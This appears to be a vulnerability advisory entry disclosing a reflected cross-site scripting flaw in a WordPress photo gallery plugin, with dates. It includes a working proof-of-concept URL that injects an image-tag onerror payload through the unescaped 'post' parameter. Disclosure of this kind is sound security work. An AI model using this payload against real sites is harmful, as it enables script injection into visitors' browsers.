The plugin does not sanitise and escape the post parameter in the includes/acf_photo_gallery_metabox_edit.php file before outputing back in an attribute, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-content/plugins/navz-photo-gallery/includes/acf_photo_gallery_metabox_edit.php?post=%22%3E%3Cimg/src/onerror=alert(/XSS/)%3E
2021-12-20 (about 1 years ago)
2021-12-20 (about 1 years ago)
2022-04-13 (about 9 months ago)